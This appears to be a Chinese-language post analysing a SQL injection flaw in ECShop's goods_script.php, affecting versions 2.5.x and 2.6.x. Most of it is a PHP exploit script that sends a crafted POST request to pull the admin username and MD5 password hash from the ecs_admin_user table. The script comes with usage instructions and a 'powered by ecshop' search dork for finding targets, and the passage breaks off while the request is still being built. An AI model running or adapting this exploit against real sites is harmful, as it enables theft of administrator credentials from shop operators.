ECShop 注射漏洞分析

影响2.5.x和2.6.x,其他版本未测试
goods_script.php
44行:

复制代码

代码如下:

if (empty($_get['type']))
{
...
}
elseif ($_get['type'] == 'collection')
{
...
}
$sql .= " limit " . (!empty($_get['goods_num']) ? intval($_get['goods_num']) : 10);
$res = $db->query($sql);

$sql没有初始化,很明显的一个漏洞:)
exp:

复制代码

代码如下:

#!/usr/bin/php
<?php
print_r('
+---------------------------------------------------------------------------+
ecshop <= v2.6.2 sql injection / admin credentials disclosure exploit
by puret_t
mail: puretot at gmail dot com
team: http://bbs.wolvez.org
dork: "powered by ecshop"
+---------------------------------------------------------------------------+
');
/**
* works with register_globals = on
*/
if ($argc < 3) {
print_r('
+---------------------------------------------------------------------------+
usage: php '.$argv[0].' host path
host: target server (ip/hostname)
path: path to ecshop
example:
php '.$argv[0].' localhost /ecshop/
+---------------------------------------------------------------------------+
');
exit;
}
error_reporting(7);
ini_set('max_execution_time', 0);
$host = $argv[1];
$path = $argv[2];
$resp = send();
preg_match('#href="([\s]+):([a-z0-9]{32})"#', $resp, $hash);
if ($hash)
exit("expoilt success!\nadmin:\t$hash[1]\npassword(md5):\t$hash[2]\n");
else
exit("exploit failed!\n");
function send()
{
global $host, $path;
$cmd = 'sql=select concat(user_name,0x3a,password) as goods_id from ecs_admin_user where action_list=0x'.bin2hex('all').' limit 1#';
$data = "post ".$path."goods_script.php?type=".time()." http/1.1\r\n";
$data .= "accept: */*\r\n";
$data .= "accept-language: zh-cn\r\n";
$data .= "content-type: application/x-www-form-urlencoded\r\n";
$data .= "user-agent: mozilla/4.0 (compatible; msie 6.00; windows nt 5.1; sv1)\r\n";
$data .= "host: $host\r\n";
$data .= "content-length: ".strlen($cmd)."\r\n";
$data .= "connection: close\r\n\r\n";
$data .= $cmd;